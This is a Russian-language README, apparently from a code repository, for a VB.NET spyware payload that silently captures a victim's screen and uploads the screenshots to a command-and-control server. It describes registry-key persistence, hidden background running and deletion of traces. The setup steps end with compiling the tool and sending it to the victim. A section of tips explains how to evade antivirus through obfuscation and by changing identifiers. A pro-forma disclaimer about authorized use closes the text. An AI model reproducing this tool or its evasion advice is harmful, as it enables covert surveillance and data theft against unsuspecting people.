Тихий снимок экрана | Полезная нагрузка после эксплуатации | ВБ.НЕТ
Простая полезная нагрузка, позволяющая сделать снимок экрана рабочего стола жертвы и загрузить его в C&C.
Функции:
- Постоянный (с использованием ключа запуска реестра)
- Работает в фоновом режиме
- Меньше кода, меньше ошибок и меньше обнаружения ;)
- Удаляет скриншот с диска после загрузки его в C&C.
- Командный сервер в base64
- Организованно загружайте скриншоты на C&C
- Переадресация портов не требуется! работает с одним файлом php
- [TODO] Информация о машине
- [TODO] Шифрование
- [TODO] Установить интервал удаленно из C&C
Установка и использование:
- Клонируйте этот репозиторий.
- Веб-хостинг, который я рекомендую, namecheap
- Перейдите в папку public_html, создайте новый файл PHP и поместите в него код ниже.
- Откройте проект в Visual Studio и отредактируйте переменную ниже в исходном коде.
Dim server As String = BaseDecode1("your server address here in base64 encoded")
- и также отредактируйте эту переменную ниже
Dim php As String = "yourphpfilename.php?" & "folder="
- Просто скомпилируйте его и отправьте жертве и всё!!
Совет на миллион долларов ;)
Чтобы избежать обнаружения антивирусом
- Изменить значок приложения
- Создать новый GUID
- Изменяет все переменные
- Запутайте код с помощью Obfuscar
- Изменение информации о сборке
Пожертвование:
Если этот инструмент оказался для вас полезным, не стесняйтесь поблагодарить меня, купив мне кофе :)
Отказ от ответственности:
Этот инструмент предполагается использовать только в авторизованных системах. Любое несанкционированное использование этого инструмента без явного разрешения является незаконным.
Лицензия:
ГЕНЕРАЛЬНАЯ ПУБЛИЧНАЯ ЛИЦЕНЗИЯ GNU
